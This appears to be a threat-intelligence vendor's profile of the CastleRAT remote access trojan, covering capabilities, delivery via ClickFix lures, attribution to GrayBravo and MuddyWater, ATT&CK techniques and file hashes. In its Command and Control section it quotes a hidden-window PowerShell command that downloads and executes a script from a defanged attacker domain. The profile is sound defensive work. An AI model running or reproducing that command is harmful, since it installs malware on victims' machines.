CastleRAT
CastleRAT is a remote access trojan/backdoor first observed in early 2025 and associated primarily with TAG-150, later named GrayBravo. It has been documented in both Python and compiled C variants. High-confidence capabilities described across the source material include system reconnaissance and collection of host information, querying ip-api[.]com for public IP and geolocation data, downloading and executing additional EXE/DLL payloads, executing commands via CMD and PowerShell, and remote shell access. The Python variant was observed as a CastleLoader payload, sends keep-alive messages every three seconds, and can self-delete. The C variant is described as more capable and includes keylogging, screen capture, and theft of browser credentials; other reporting also states CastleRAT can monitor clipboard contents and capture typed input. CastleRAT uses a custom binary protocol with RC4 encryption and hard-coded 16-byte keys for C2 communications. Persistence reported in the content includes registration of a scheduled task to run at startup. Infrastructure tradecraft includes use of Steam Community pages as dead-drop resolvers for covert C2 resolution beginning in late August 2025, and CastleRAT C2 servers have been observed on ports 80, 443, and 7777. Infection and delivery commonly occur through CastleLoader/CastleBot ecosystems and ClickFix-style social engineering, including fake Cloudflare verification/CAPTCHA pages, fraudulent GitHub repositories, and MSI-based chains that trick victims into copying and executing malicious PowerShell commands. CastleRAT has also been observed in campaigns where Shanya-packed loaders or side-loaded DLL chains ultimately deployed it. Reported secondary payload ecosystems around the associated GrayBravo/TAG-150 operations include SectopRAT, WarmCookie, NetSupport RAT, Stealc, RedLine Stealer, Rhadamanthys Stealer, DeerStealer, MonsterV2, and HijackLoader. The malware is linked in the content to financially motivated GrayBravo/TAG-150 activity and, separately, to Iranian state-sponsored MuddyWater operations, with JUMPSEC reporting at least two CastleRAT builds deployed against Israeli targets and warning that detections may overlap with espionage activity. Targeting mentioned in the content includes Israeli targets, logistics-sector victims, hotels in a Booking.com-themed campaign, and broader campaigns affecting government, defense, and other organizations. Reported IOCs directly tied to CastleRAT include SHA-256 hashes 963c012d56c62093d105ab5044517fdcce4ab826f7782b3e377932da1df6896d, f2ff4cbcd6d015af20e4e858b0f216c077ec6d146d3b2e0cbe68b56b3db7a0be, 4ef63fa536134ad296e83e37f9d323beb45087f7d306debdc3e096fed8357395, and 282fa3476294e2b57aa9a8ab4bc1cc00f334197298e4afb2aae812b77e755207.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Groups observed using it
3 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Additionally, Insikt Group has identified a new remote access trojan linked to TAG-150, dubbed CastleRAT. Available in both Python and C variants, CastleRAT's core functionality consists of collecting system information, downloading and executing additional payloads, and executing commands via CMD and PowerShell.
Installer_v1.21.66.msi was built on February 13, 2026, and contains the 'Amy Cherne' code-signing certificate referenced in research tied to MuddyWater, and Russian cybercrime actors using CastleRAT.
...Velvet Tempest ... used a ClickFix lure ... to drop payloads like DonutLoader and CastleRAT.
Techniques & procedures
26 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
1 technique
Initial Access
Execution
5 techniques
Execution
Available in both Python and C variants, CastleRAT's core functionality consists of collecting system information, downloading and executing additional payloads, and executing commands via CMD and PowerShell.
Victims are tricked into copying and executing malicious PowerShell commands on their own devices, thereby enabling the compromise.
Available in both Python and C variants, CastleRAT's core functionality consists of collecting system information, downloading and executing additional payloads, and executing commands via CMD and PowerShell.
Persistence
1 technique
Persistence
Privilege Escalation
2 techniques
Privilege Escalation
Stealth
2 techniques
Stealth
Credential Access
1 technique
Credential Access
Discovery
3 techniques
Discovery
CastleRAT's core functionality consists of collecting system information... The following features have been implemented... Obtain and report country info of the public IP and system information
Collection
5 techniques
Collection
The C variant of CastleRAT also includes more advanced stealing capabilities, such as keylogging and screen capturing.
The C variant of CastleRAT also includes more advanced stealing capabilities, such as keylogging and screen capturing.
Command and Control
7 techniques
Command and Control
The infrastructure linked to TAG-150 includes both victim-facing Tier 1 components, such as IP addresses and domains used as command-and-control (C2) servers for multiple malware families...
Malware name: C2_10a (T1071.001) ... powershell -w h -ep b -c "iex (iwr 'biokdsl[.]com/upd' -useb).Content"
CastleRAT is a RAT that includes C and Python variants sharing the following commonalities: Custom binary protocol using RC4 encryption with hard-coded 16-byte keys
For example, C2 deaddrops hosted on Steam Community pages is a new development, first observed in late August 2025.
The upd script downloaded and unpacked the consent.zip archive, which contained the DLL side-loading components.
IOCs tracked for this family
11 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Recent activity
26 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A remote access trojan referenced in relation to the reused 'Amy Cherne' code-signing certificate tied to MuddyWater and Russian cybercrime actors.
A remote access trojan offered through a Russian malware-as-a-service ecosystem and deployed in this campaign against Israeli targets.
Named malware referenced in relation to CastleLoader and TAG150, but no further detail is provided in the content body.
Remote access trojan used by MuddyWater and described as part of the CastleLoader framework.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.